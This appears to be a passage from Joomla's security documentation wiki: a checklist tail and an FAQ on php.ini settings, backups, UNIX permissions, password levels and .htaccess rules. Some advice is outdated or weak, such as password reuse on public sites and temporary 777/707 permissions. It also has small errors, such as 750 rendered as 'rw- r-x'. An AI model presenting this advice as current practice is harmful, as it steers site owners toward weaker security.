: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_fopen===

: Don't use PHP ''allow_url_fopen''. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.

allow_url_fopen = 0

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

Security and Performance FAQs

2012-10-09T00:47:04Z

Phild: /* Where can I learn more about file permissions? */ added internal links replacing external links (same content)

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [[How do UNIX file permissions work?|Unix Permissions Primer]]
* [[Using phpSuExec]]
* [[Windows Permissions Primer]]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

Moving sensitive files is now documented at: http://docs.joomla.org/Moving_sensitive_files_outside_the_web_root

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

